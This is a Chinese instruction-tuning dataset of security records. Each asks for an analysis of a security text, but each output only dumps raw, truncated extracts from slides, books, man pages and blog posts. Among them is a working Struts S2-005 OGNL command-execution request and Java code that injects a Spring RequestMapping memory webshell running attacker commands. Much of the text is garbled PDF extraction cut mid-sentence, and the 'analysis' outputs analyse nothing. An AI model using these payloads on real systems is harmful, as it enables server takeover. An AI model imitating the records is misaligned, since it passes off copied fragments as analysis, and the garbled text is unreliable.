{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# ODEX文件 ## 基本介绍 我们知道 Android 应用程序的 java 层的代码在 apk 文件的 class.dex 文件中一般情况下我们在每次启动程序时会从中获取到 dex 文件并进行解析显然每次都这样做效率会比较低下Android 开发者提出了一种方式即我们最初加载 dex 文件时就对其进行优化生成一个 ODEX 文件存放在 /data/dalvik-cache 目录下当以后再次运行这个程序时我们只需要直接加载这个优化过的 ODEX 文件就行了省去了每次都要优化的时间对于 Android ROM 中系统自带的 app 直接转换为 odex 文件存放在与 apk 相同的目录下这样当手机每次开机启动的时候就会快很多了 ## 基本结构 待补充 ## 生成过程 待补充 ## 参考阅读 - Android 软件安全与逆向分析", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# S2-005 远程代码执行漏洞 影响版本: 2.0.0 - 2.1.8.1 漏洞详情: http://struts.apache.org/docs/s2-005.html ## 原理 参考吴翰清的白帽子讲Web安全一书 > s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12)struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)OGNL表达式通过#来访问struts的对象struts框架通过过滤#字符防止安全问题然而通过unicode编码(\\u0023)或8进制(\\43)即绕过了安全限制对于S2-003漏洞官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补但是安全配置被绕过再次导致了漏洞攻击者可以利用OGNL表达式将这2个选项打开S2-003的修补方案把自己上了一个锁但是把锁钥匙给插在了锁头上 XWork会将GET参数的键和值利用OGNL表达式解析成Java语句如 ``` user.address.city=Bishkek&user['favoriteDrink']=kumys //会被转化成 action.getUser().getAddress().setCity(\"Bishkek\") action.getUser().setFavoriteDrink(\"kumys\") ``` 触发漏洞就是利用了这个点再配合OGNL的沙盒绕过方法组成了S2-003官方对003的修复方法是增加了安全模式沙盒S2-005在OGNL表达式中将安全模式关闭又绕过了修复方法整体过程如下 - S2-003 使用`\\u0023`绕过s2对`#`的防御 - S2-003 后官方增加了安全模式沙盒 - S2-005 使用OGNL表达式将沙盒关闭继续执行代码 ## 环境 执行以下命令启动s2-001测试环境 ``` docker compose build docker compose up -d ``` ## POC && EXP ### 执行任意命令POC无回显空格用`@`代替 ``` GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 HTTP/1.1 Host: target:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36 ``` 网上一些POC放到tomcat8下会返回400研究了一下发现字符`\\``\"`不能直接放path里需要urlencode编码以后再发送就好了这个POC没回显 POC用到了OGNL的Expression Evaluation ![](1.jpeg) 大概可以理解为`(aaa)(bbb)`中aaa作为OGNL表达式字符串bbb作为该表达式的root对象所以一般aaa位置如果需要执行代码需要用引号包裹起来而bbb位置可以直接放置Java语句`(aaa)(bbb)=true`实际上就是`aaa=true`不过确切怎么理解还需要深入研究有待优化 期待大佬研究出有回显的POC ### 执行任意命令POC有回显将需要执行的命令进行urlencode编码 ``` POST /example/HelloWorld.action HTTP/1.1 Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Content-Type: app", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nVista system restore Vista system restore rootkit rootkit Principle and protection Principle and protection Edward Sun Edward Sun PDF created with pdfFactory Pro trial version www.pdffactory.com About speaker About speaker u u Network ID : Network ID : CardMagic CardMagic u u Author of Author of DarkSpy DarkSpy anti anti--rootkit rootkit u u Posted several articles on Posted several articles on rootkit.com rootkit.com u u R&D of some world famous kernel level R&D of some world famous kernel level products in global companies products in global companies u u Experienced in Windows kernel mode Experienced in Windows kernel mode research and programming research and programming u u Now is a researcher of Trend Micro threat Now is a researcher of Trend Micro threat solution team solution team PDF created with pdfFactory Pro trial version www.pdffactory.com What will be introduced What will be introduced u u Internals of Vista system restore Internals of Vista system restore u u A user A user--mode mode rootkit rootkit to hide arbitrary file to hide arbitrary file or registry key from Windows Vista or registry key from Windows Vista system restore system restore u u A new way to bypass modern HIPS A new way to bypass modern HIPS u u Detection and protection of the threat Detection and protection of the threat PDF created with pdfFactory Pro trial version www.pdffactory.com Agenda Agenda u u Vista system restore (VSR) introduction Vista system restore (VSR) introduction u u VSR internals VSR internals u u VSR VSR rootkit rootkit u u A new way to bypass HIPS A new way to bypass HIPS u u Protect & detect VSR Protect & detect VSR u u Demo Demo PDF created with pdfFactory Pro trial version www.pdffactory.com Vista system restore (VSR) Vista system restore (VSR) introduction introduction u u VSR allows user to use restore point to return VSR allows user to use restore point to return their system files and settings to an earlier point their system files and settings to an earl", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nM A N N I N G the art of How to take over any company in the world Includes free practice environment ROYCE DAVIS Phase 1: Information gathering Penetration tester MS17-010 MSSQL Server Apache Tomcat Jenkins Discover weaknesses Access vulnerable hosts Take over entire network Provide recommendations Final deliverable Findings and observations Engagement summary raditz.capsulecorp.local goku.capsulecorp.local Domain admin tien.capsulecorp.local gohan.capsulecorp.local trunks.capsulecorp.local vegeta.capsulecorp.local Actionable recommendations Phase 2: Focused penetration Phase 3: Privilege escalation Phase 4: Documentation Capsulecorp Inc. Internal Network Penetration Test LAN: 172.28.128.0/24 Active Directory: capsulecorp.local The Art of Network Penetration Testing HOW TO TAKE OVER ANY COMPANY IN THE WORLD ROYCE DAVIS M A N N I N G SHELTER ISLAND For online information and ordering of this and other Manning books, please visit www.manning.com. The publisher offers discounts on this book when ordered in quantity. For more information, please contact Special Sales Department Manning Publications Co. 20 Baldwin Road PO Box 761 Shelter Island, NY 11964 Email: orders@manning.com 2020 by Manning Publications Co. All rights reserved. No part of this publication may be reproduced, stored in a retrieval system, or transmitted, in any form or by means electronic, mechanical, photocopying, or otherwise, without prior written permission of the publisher. Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trademarks. Where those designations appear in the book, and Manning Publications was aware of a trademark claim, the designations have been printed in initial caps or all caps. Recognizing the importance of preserving what has been written, it is Mannings policy to have the books we publish printed on acid-free paper, and we exert our best efforts to that end. Recognizing also our responsibility to conserve the resources o", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nEnd End--to to--End End Voice Encryption Voice Encryption over GSM: over GSM: A Different Approach Wesley Tanner Nick Lane-Smith Keith Lareau www.CellularCrypto.com About Us: Wesley Tanner - Systems Engineer for a Software-Defined Radio (SDRF) company - B.S. Electrical Engineering from RPI Nick Lane-Smith - Security Engineer for a computer company in Cupertino - B.S. Computer Science from UCSB Keith Lareau (not present) - B.S. Computer Science and Computer Systems Engineering from RPI CellularCrypto.com Presentation Overview Motivation, the need for Cellular Crypto Current market offerings Operational details A new approach - GSM Voice Channel Modem Details of the voice channel Radio interface Traditional PSTN modems over GSM Cryptographic Design Demonstrations CellularCrypto.com Motivation Where is End-to-End voice protection over cellular? Why hasnt it become a reality for the average consumer? CellularCrypto.com Copyright (c} Mozzerati GSM Overview GSM Cryptography A3 - Authentication algorithm for the GSM security model A5 - The stream cipher used for voice- privacy A8 - Algorithm for voice-privacy key generation. CellularCrypto.com A5 weaknesses Alex Biryukov, Adi Shamir and David Wagner demonstrated breaking a A5/1 key in less than a second on a PC with 128 MB RAM. Elad Barkhan, Eli Biham and Nathan Keller have shown a ciphertext-only attack against A5/2. CellularCrypto.com Moral of the story GSM Cryptography provides limited, if any, true security to your voice channel. Something additional is needed. CellularCrypto.com The NEED for Cellular Crypto Cellular phones have almost completely supplanted PSTN. Cellular companies do not provide ANY meaningful protection for voice traffic. The ease of intercepting voice traffic is astounding And people do it all the time! Aisow.com The NEED for Cellular Crypto Two major classes of intercepts: Government Perpetrated - Authorized and Unauthorized - Secret (FISA) and Reported - Local, State and Federal - Not jus", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n.\\\" Copyright (c) 1991, 92, 93, 94, 95, 96, 97, 98, 1999 Free Software Foundation .\\\" See section COPYING for conditions for redistribution .TH ld 1 \"17 August 1992\" \"cygnus support\" \"GNU Development Tools\" .de BP .sp .ti \\-.2i \\(** .. .SH NAME ld \\- GNU linker (连接器) .SH \"总览 (SYNOPSIS)\" .hy 0 .na .TP .B ld .RB \"[\\|\" \\-o \" .I output\\c \\&\\|] \\c .I objfile\\c \\&.\\|.\\|. .br .RB \"[\\|\" \\-A\\c .I architecture\\c \\&\\|] .RB \"[\\|\" \"\\-b\\ \"\\c .I input-format\\c \\&\\|] .RB \"[\\|\" \\-Bstatic \"\\|]\" .RB \"[\\|\" \\-Bdynamic \"\\|]\" .RB \"[\\|\" \\-Bsymbolic \"\\|]\" .RB \"[\\|\" \"\\-c\\ \"\\c .I commandfile\\c \\&\\|] .RB \"[\\|\" \\-\\-cref \"\\|]\" .RB \"[\\|\" \\-d | \\-dc | \\-dp\\c \\|] .br .RB \"[\\|\" \"\\-defsym\\ \"\\c .I symbol\\c \\& = \\c .I expression\\c \\&\\|] .RB \"[\\|\" \\-\\-demangle \"\\|]\" .RB \"[\\|\" \\-\\-no\\-demangle \"\\|]\" .RB \"[\\|\" \"\\-e\\ \"\\c .I entry\\c \\&\\|] .RB \"[\\|\" \\-embedded\\-relocs \"\\|]\" .RB \"[\\|\" \\-E \"\\|]\" .RB \"[\\|\" \\-export\\-dynamic \"\\|]\" .RB \"[\\|\" \"\\-f\\ \"\\c .I name\\c \\&\\|] .RB \"[\\|\" \"\\-\\-auxiliary\\ \"\\c .I name\\c \\&\\|] .RB \"[\\|\" \"\\-F\\ \"\\c .I name\\c \\&\\|] .RB \"[\\|\" \"\\-\\-filter\\ \"\\c .I name\\c \\&\\|] .RB \"[\\|\" \"\\-format\\ \"\\c .I input-format\\c \\&\\|] .RB \"[\\|\" \\-g \"\\|]\" .RB \"[\\|\" \\-G .I size\\c \\&\\|] .RB \"[\\|\" \"\\-h\\ \"\\c .I name\\c \\&\\|] .RB \"[\\|\" \"\\-soname\\ \"\\c .I name\\c \\&\\|] .RB \"[\\|\" \\-\\-help \"\\|]\" .RB \"[\\|\" \\-i \"\\|]\" .RB \"[\\|\" \\-l\\c .I ar\\c \\&\\|] .RB \"[\\|\" \\-L\\c .I searchdir\\c \\&\\|] .RB \"[\\|\" \\-M \"\\|]\" .RB \"[\\|\" \\-Map .I mapfile\\c \\&\\|] .RB \"[\\|\" \\-m .I emulation\\c \\&\\|] .RB \"[\\|\" \\-n | \\-N \"\\|]\" .RB \"[\\|\" \\-noinhibit-exec \"\\|]\" .RB \"[\\|\" \\-no\\-keep\\-memory \"\\|]\" .RB \"[\\|\" \\-no\\-warn\\-mismatch \"\\|]\" .RB \"[\\|\" \\-O\\c .I level\\c \\&\\|] .RB \"[\\|\" \"\\-oformat\\ \"\\c .I output-format\\c \\&\\|] .RB \"[\\|\" \"\\-R\\ \"\\c .I filename\\c \\&\\|] .RB \"[\\|\" \\-relax \"\\|]\" .RB \"[\\|\" \\-r | \\-Ur \"\\|]\" .RB \"[\\|\" \"\\-rpath\\ \"\\c .I directory\\c \\&\\|] .RB \"[\\|\" \"\\-rpath\\-link\\ \"\\c .I directory\\c \\&\\|] .RB \"[\\|\" \\-S \"\\|]\" .RB \"[\\|\" \\-s \"\\|]\" .RB \"[\\|\" \\-shared \"\\|]\" .RB \"[\\|\" \\-sort\\-common \"\\|]\" .RB \"[\\|\" \"\\-split\\-by\\-reloc\\ \"\\c .I count\\c \\&\\|] .RB \"[\\|\" \\-s", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nOrange Tsai Orange Tsai DEVCORE 安全研究員 2014 ~ 2017 2017 ~ Now 2008 ~ 2014 2014 ~ 2017 2017 ~ Now 2008 ~ 2014 2014 ~ 2017 2017 ~ Now 2008 ~ 2014 - WAF? X-www-form-urlencode Multipart/form-data Chunked ? return read_file(resolve(root, path)) ? var UP_PATH_REGEXP = /(?:|[\\\\/])\\.\\.(?:[\\\\/]|$)/ if (pathIsAbsolute.posix(path) || pathIsAbsolute.win32(path)) throw createError(400, 'Malicious Path') if (UP_PATH_REGEXP.test(normalize('.' + sep + path))) throw createError(403) return read_file(resolve(root, path)) JSF Mojarra CVE-2013-3827 by SynopSys JSF Mojarra CVE-2013-3827 by SynopSys 知識面決定看到的攻擊面有多廣 知識鍊決定發動的殺傷鍊有多深 - @Ringzero 1. Spring Framework 0day - CVE-2018-1271 2. Bynder(aseets.Spotify.com) Spring CVE-2018-1271 Directory Traversal in Spring Framework 2012 ( CVE) CVE-2014-3625 Directory Traversal in Spring Framework Spring Framework 3.0.4 to 3.2.11 Spring Framework 4.0.0 to 4.0.7 Spring Framework 4.1.0 to 4.1.1 Spring CVE-2018-1271 1. isInvalidPath(path) 2. isInvalidPath(URLDecoder.decode(path, \"UTF-8\")) 3. isResourceUnderLocation(resource, location) Spring CVE-2018-1271 0day - CVE-2018-1271 F5 protected boolean isInvalidPath(String path) { if (path.contains(\"WEB-INF\") || path.contains(\"META-INF\")) { return true; } if (path.contains(\":/\")) { return true; } if (path.contains(\"..\")) { path = cleanPath(path); if (path.contains(\"../\")) { return true; } } return false; Spring CVE-2018-1271 public static String cleanPath(String path) { String pathToUse = replace(path, \"\\\\\", \"/\"); // implementation here return path; } 1. Server Windows 2. 3. CVE-2018-1199 4. Tomcat WildFly Server Hmmmm 1. isInvalidPath(path) 2. isInvalidPath(URLDecoder.decode(path, \"UTF-8\")) 3. isResourceUnderLocation(resource, location) protected boolean isInvalidPath(String path) { if (path.contains(\"WEB-INF\") || path.contains(\"META-INF\")) { return true; } if (path.contains(\":/\")) { return true; } if (path.contains(\"..\")) { path = cleanPath(path); if (path.contains(\"../\")) { return true; } } retu", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# LDAP --- 常用缩写词 - DN:Distinguished Name - CN:Common Name - OU:Organizational Unit - DC:Domain Component - ACE:Access Control Entries - ACL:Access Control List LDAP 连接服务器的连接字串格式为ldap://servername/DN 其中 DN 有三个属性分别是 CNOU 和 DC", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# 0x00 Cobalt Strike 这几章基本是官方文档我修改了一些,这章没有编程基础可能看起来很吃力可以先看看sleep2.1文档当然我在 `0x02 Listeners`中简单的讲了下每行代码是干什么的可以先看这个再回头看其他的 Aggressor脚本是Cobalt Strike中的拓展,大多数Cobalt Strike对话框和功能都是作为独立模块编写的,它们向Aggressor Script引擎公开了一些接口 内部脚本default.cna定义了默认的Cobalt Strike体验,这个脚本定义了Cobalt Strike的工具栏按钮弹出菜单它还为大多数Cobalt Strike事件格式化输出. ## 键盘快捷键 脚本可以创建键盘快捷键,使用bind绑定键盘快捷键,这个例子显示了 Hello World在按住Ctrl和H的对话框中 ``` bind Ctrl + H { show_messageHello World; } ``` ## 弹出菜单 脚本也可以添加到Cobalt Strike的菜单结构或重新定义它popup关键字为弹出钩子构建菜单层次结构 这是定义Cobalt Strike帮助菜单的代码 ``` popup help { item(\"&Homepage\", { url_open(\"https://www.cobaltstrike.com/\"); }); item(\"&Support\", { url_open(\"https://www.cobaltstrike.com/support\"); }); item(\"&Arsenal\", { url_open(\"https://www.cobaltstrike.com/scripts?license=\" . licenseKey()); }); separator(); item(\"&System Information\", { openSystemInformationDialog(); }); separator(); item(\"&About\", { openAboutDialog(); }); } ``` 简单的说就是`popup `定义一个菜单栏 然后用 `item` 构建他的菜单目录`separator()` 是一个分隔符函数注册新菜单需要用 `menubar(\"&xxx\", \"xxx\");` ``` popup pgraph { menu \"&Layout\" { item \"&Circle\" { graph_layout($1, \"circle\"); } item \"&Stack\" { graph_layout($1, \"stack\"); } menu \"&Tree\" { item \"&Bottom\" { graph_layout($1, \"tree-bottom\"); } item \"&Left\" { graph_layout($1, \"tree-left\"); } item \"&Right\" { graph_layout($1, \"tree-right\"); } item \"&Top\" { graph_layout($1, \"tree-top\"); } } item \"&None\" { graph_layout($1, \"none\"); } } } ``` `menu` 来构建主菜单中的子菜单 ## 自定义输出 Aggressor Script中的set关键字定义了如何格式化事件并将其输出呈现给用户 ``` set EVENT_SBAR_LEFT { return \"[\" . tstamp(ticks()) . \"] \" . mynick(); } set EVENT_SBAR_RIGHT { return \"[lag: $1 $+ ]\"; } ``` 上面的代码定义了Cobalt Strike的事件日志视图 - >事件日志中状态栏的内容,此状态栏的左侧显示当前时间和您的昵称右侧显示了Cobalt Strike客户端和团队服务器之间的消息往返时间 你可以覆盖Cobalt Strike默认脚本中的任何设置选项使用你关注的事件的定义创建自己的文件加载到Cobalt Strike中Cobalt Strike将使用你对内置定义的定义 ## 活动 使用on关键字为事件定义处理程序,当Cobalt Strike连接到团队服务器并准备就绪事件将触发 ``` on ready { show_message(\"Ready for action!\"); } ``` Cobalt Strike为各种情况生成事件使用* meta-event观看Cobalt Strike发生的所有事件 ``` on * { local('$handle $event $args')", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nKUBERNETES中的异常活动检测 About me 0 1 @9ian1i 朱思宇 blue teamer侵对抗业余安全开发阿云融媒体安全 DEFCON Blue Team VillageBlack Hat Arsenal 演讲者 WatchAD AD Security Intrusion Detection System crawlergo A powerful browser crawler for web vulnerability scanners ??? - kubernetes abnormal activity detection and blocking system 开源安全项 安全险 安全防护 K8S安全险与防护现状 0 2 Threat matrix for Kubernetes 0 3 K8S安全防护现状 *检测能数据来各家官站档 https://docs.microsoft.com/en-us/azure/security-center/alerts-reference#alerts-k8scluster https://help.aliyun.com/document_detail/191144.html#title-seo-no0-8zv Alibaba Cloud Google Cloud Azure Cloud 0 AWS Cloud 0 7 云商 15 K8S集群异常活动检测项数量 具备相关能的国外安全商 除了云商国内普遍对K8S安全防护关注不够还停留在基线加固阶段 04 检测与对抗 05 Architecture based of audit logs detection 0 6 UI User Interface CLI Command Line interface API Server Master Audit Log Logtail Agent MQ Threat Analytics Alerts for suspicious activities Node 1 Node 2 Node n 0 7 About k8s auditing *审计策略格式样例 k8s审计事件志可记录访问API Server的所有请求配合 审计策略设置能记录请求与响应的详细数据 每个Master节点上的审计志并不会相互同步需要收集 所有Master节点 它能记录下三个关键问题 户身份与授权信息 请求的操作与资源详情 请求的结果与响应 0 8 User Interface Master etcd API Server Control- manager scheduler ns default-token-xxxxx sa-token-xxxxx other-token-xxxxx Host Secrets Node Pod Pod Compromised container Web App Access API Server Master A Master B Master N API Server API Server API Server 负载 均衡 6443 8080 容器集群渗透具 匿名登录尝试 集群信息探 测 0 9 SA Suspicious Activity 通过对SA进为学习记录建操作基线超出则告警 1 0 Honeypot Account ns Node Secrets default-token-xxxxx normal-sa-token-xxxxx fake-admin-token-xxxxx ... Pod A Pod B Host OS file: ~/.kube/kubeconfig 投放 蜜饵账户 ... 1 1 About k8s RBAC 1 2 Privilege Escalation RBAC rolebinding/bind hacker API Server Create rolebinding auditing normal account cluster-admin role admin privileges account 1 3 Privilege Escalation RBAC createpod and SA bind hacker createpod privilege create pod req API Server pod send token Get admin JWT token 1 4 Certificate Authentication = Golden Ticket ? UI User Interface K8S的重要认证乎都依赖客户端证书机制三套CA证书与私钥是认证体系的安全核 1 5 Golden Ticket C", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n_vti_fpxploitation mshannon@fpxploiter.org Frontpage: Laying the ground work What is it? Microsoft's integrated Web Site development tool. System for adding basic to advanced functionality with little or no web page experience. Integrated MS Office package Security Nightmare Who is Vermeer Technologies? In early 1995, Vermeer Technologies developed one of the first web publishing tools for simple end users, Frontpage. Following enormous success, the application was later bought out by Microsoft and integrated in the Office package. Frontpage: Decoding the system Protocol Analysis Client/Server Protocol Analysis Communication between Client and Server. Frontpage Client and Server extensions communicate over HTTP PUT requests. The Frontpage client makes requests against Author.dll, Admin.dll, and shtml.exe. Author.dll(exe) Authoring commands, uploading, downloading content, reviewing properties, adding enhancements. Admin.dll(exe) Admin commands, including adding additional users, modify user permissions, listing accounts. Shtml.exe, vti_rpc Initial access and service negotiation. The Authentication System This authentication process takes place each time a request is performed, i.e login, upload, download, change permissions, navigate folders, etc. While an ineffective use of resources, it does limit attacks based on state. _vti_inf.html _vti_inf.html This file provides configuration information and helps us determine something about the server. _vti_inf.html Cont. Using the following simple guidelines when reading the _vti_inf.html file we can better determine the operating system. _vti_inf.html files with references to .exe tools most likely reside on Unix servers. _vti_inf.html files with references to .dll tools most likely reside on Windows Servers Server extension version numbers can further help us narrow down the options. _vti_inf Version Table Using the information in _vti_inf.html, we can often correctly determine the OS version. Operating System/Version Fr", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nuupick === 命令处理传送进来的文件 ## 补充说明 **uupick命令** 处理传送进来的文件 当其他主机通过UUCP将文件传送进来时可利用uupick指令取出这些文件 ### 语法 ```shell uupick [-v][-I<配置文件>][-s<主机>][-x<层级>][--help] ``` ### 选项 ```shell -I<配置文件>或--config<配置文件> 指定配置文件 -s<主机>或--system<主机> 处理由指定主机传送过来的文件 -v或--version 显示版本信息 --help 显示帮助 ``` ### 例子 处理由主机localhost传送过来的文件在命令行直接输入如下命令 ```shell uupick-s localhost ``` 该命令通常没有输出", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nscript === 记录终端会话的所有操作 ## 补充说明 **script** 用于在终端会话中记录用户的所有操作和命令的输出信息简而言之记录终端会话发生的一切信息如同一台终端录像机例如用户在输入某条命令时字符的键入和删除也都会被记录用户在终端的所有操作终端的回显等信息会被以 `raw` 格式存储在日志文件称为终端数据文件命令的时间信息会被单独以另一种结构储存为日志文件称为时间日志文件使用命令`exit`或者快捷键`Ctrl + D`停止记录 ### 语法 ```shell script(选项)(参数) ``` ### 选项 ```shell -a, --append # 对终端会话的操作信息以追加方式写入文件保留原文件内容 -c, --command command # 只运行 command 命令而不打开交互终端相当于开启 script 执行 command 再退出 script # command 可以是任意能够在终端会话执行的命令 -e, --return # 返回子进程的退出状态码 -f, --flush # 每次终端的内容发生变动立马写入日志文件 --force # 允许默认输出终端数据文件为符号链接 -o, --output-limit size # 限制终端数据文件和时间日志文件的大小当文件大小达到此限制就会退出子进程 # size 的单位可以设置为KiB(=1024)KB(=1000)MiB(1024*1024)MB(=1000*1000) # 同理还支持 GiB TiB PiB EiB ZiB YiB GB TB PB EB ZB YB -q, --quiet # 安静模式启动和退出script命令不显示任何提示 -t[file], --timing[=file] # 输出时间日志信息到标准错误(stderr)或者文件 -V, --version # 显示版本信息并退出 -h, --help # 显示帮助文本并退出 ``` ### 参数 * 终端数据文件设置存储终端数据信息的文件名称 ### 实例 ```shell script # 开启记录默认会在当前目录创建名称为 typescript 的文件来保存终端数据文件 script command.log # 开启记录在当前目录创建名称为 command.log 的文件来保存终端数据文件 script -t 2>time.file command.log # 开启记录在当前目录创建名称为 command.log 的文件来保存终端数据文件 # 在当前目录创建名称为 time.file 的文件来保存时间日志文件 ``` **以追加模式记录终端信息** ```shell zfb@localhost:~$ script -t 2>time.file -a -f command.log Script started, file is command.log zfb@localhost:~$ echo \"hello, world\" hello, world zfb@localhost:~$ echo $(date \"+%Y-%m-%d %H:%M:%S\") 2020-12-23 20:48:46 zfb@localhost:~$ echo \"Bye\" Bye zfb@localhost:~$ ls -al total 20 drwxr-xr-x 2 zfb zfb 4096 Dec 23 20:48 . drwxr-xr-x 37 zfb zfb 4096 Dec 23 20:49 .. -rw-r--r-- 1 zfb zfb 0 Dec 23 19:03 a.txt -rw-r--r-- 1 zfb zfb 12 Dec 23 19:04 b.txt -rw-r--r-- 1 zfb zfb 2744 Dec 23 20:49 command.log -rw-r--r-- 1 zfb zfb 790 Dec 23 20:49 time.file zfb@localhost:~$ exit Script done, file is command.log zfb@localhost:~$ ``` 然后用户可以查看终端数据文件使用方法如下 ```shell zfb@localhost:~$ cat command.log Script started on 2020-12-23 20:48:25+08:00 [TERM=\"xterm-256color\" TTY=\"/dev/pts/0\" COLUMNS=\"75\" LINES=\"30\"] zfb@localhost:~$ echo \"hello, world\" hello, world zfb@localhost:~$ ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 CVE-OLOO-OOXVQ扩展 中午看了下这篇章https://mp.weixin.qq.com/s/S15erJhHQ4WCVfF0XxDYMg发现了点问题记 录下 选RequestMapping内存demo如下 2 测试的时候发现注可以成功但法访问executeCommand法查看报错堆栈提示参数错误没 有指定executeCommand需要的String参数但实际有传 Java 复制代码 public class SpringRequestMappingMemshell { public static String doInject(Object requestMappingHandlerMapping) { String msg = \"inject-start\"; try { Method registerHandlerMethod = requestMappingHandlerMapping.getClass().getDeclaredMethod(\"registerHandle rMethod\", Object.class, Method.class, RequestMappingInfo.class); registerHandlerMethod.setAccessible(true); Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod(\"executeCommand\", String.class); PathPattern pathPattern = new PathPatternParser().parse(\"/*\"); PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition(pathPattern); ParamsRequestCondition paramsRequestCondition = new ParamsRequestCondition(\"cmd\"); RequestMappingInfo requestMappingInfo = new RequestMappingInfo(\"\", patternsRequestCondition, null, paramsRequestCondition, null, null, null, null); registerHandlerMethod.invoke(requestMappingHandlerMapping, new SpringRequestMappingMemshell(), executeCommand, requestMappingInfo); msg = \"inject-success\"; }catch (Exception e){ msg = \"inject-error\"; } return msg; } public ResponseEntity executeCommand(String cmd) throws IOException { // cmd = \"calc\";\"calc\" String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\ A\").next(); return new ResponseEntity(execResult, HttpStatus.OK); } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 3 报错在AbstractNamedValueArgumentResolver.class#updateNamedValueInfoparameter对象没 获取到参数名另外或者info.name能获取到也 查看上级调info是通过this.createNamedValueInfo返回的 4 这个法的重写法对应的类仔细观察都是各种spring的注解解析类其实到这也就明了为啥 法传参是因为我们的法没有注解法解析参数 这个其实开头就应该发现的我们要写的是 RequestMapping 内存然应该想到通过注解来 提取参数像 @RequestParam @PathVariable 等等 这采 @RequestHeader 修改代码如下 5 注成功 Java 复制代码 public class SpringRequestMappingMemshell { public static", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n--- title: Ghost Phisher categories: Wireless Attacks tags: [kali linux,wireless attacks,information gathering,ghost phisher] date: 2016-10-25 11:50:00 --- 0x00 Ghost Phisher介绍 ------------- Ghost Phisher是一个使用Python编程语言和Python Qt GUI库编写的无线和以太网安全审计和攻击程序可以伪造DNS服务器DHCP服务器HTTP服务器并且内置自动抓取和记录认证信息的功能模块这个程序可用于制作蜜罐也可用于钓鱼安全测试的相关工作 Ghost Phisher目前支持以下功能 ```plain HTTP服务器 内置RFC 1035 DNS服务器 内置RFC 2131 DHCP服务器 网页托管和凭证记录器网络钓鱼 Wifi接入点模拟器 会话劫持被动和以太网模式 ARP缓存欺骗用于MITM和DOS攻击 使用绑定的Metasploit进行渗透 使用SQlite数据库进行自动凭证日志记录 更新支持 ``` 工具来源https://code.google.com/p/ghost-phisher/ [Ghost Phisher主页][1] | [Kali Ghost Phisher Repo仓库][2] - 作者Saviour Emmanuel Ekiko - 证书GPLv3 0x01 Ghost Phisher功能 --------------- ghost-phisher - 用于网络钓鱼和渗透攻击的图形用户界面套件 0x02 Ghost Phisher用法示例 ----------------- YouTube[How to create fake wifi hotspot (ghost phisher) using kali linux 2][3] ```shell root@kali:~# ghost-phisher ``` ![ghost-phisher.gif][4] [1]: https://code.google.com/p/ghost-phisher/ [2]: http://git.kali.org/gitweb/?p=packages/ghost-phisher.git;a=summary [3]: https://www.youtube.com/watch?v=QpMZXp1NryE [4]: https://www.hackfun.org/usr/uploads/2016/10/690577029.gif", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n研发运营安全白皮书 2020年 云计算开源产业联盟 OpenSource Cloud Alliance for industryOSCAR 2020年7月 版权声明 本白皮书版权属于云计算开源产业联盟并受法律保护 转载摘编或利用其它方式使用本调查报告文字或者观点的 应注明来源云计算开源产业联盟违反上述声明者本联 盟将追究其相关法律责任 前 言 近年来安全事件频发究其原因软件应用服务自身存在代码 安全漏洞被黑客利用攻击是导致安全事件发生的关键因素之一随 着信息化的发展软件应用服务正在潜移默化的改变着生活的各个方 面渗透到各个行业和领域其自身安全问题也愈发成为业界关注的 焦点传统研发运营模式之中安全介入通常是在应用系统构建完成 或功能模块搭建完成之后位置相对滞后无法完全覆盖研发阶段的 安全问题在此背景下搭建整体的研发运营安全体系强调安全左 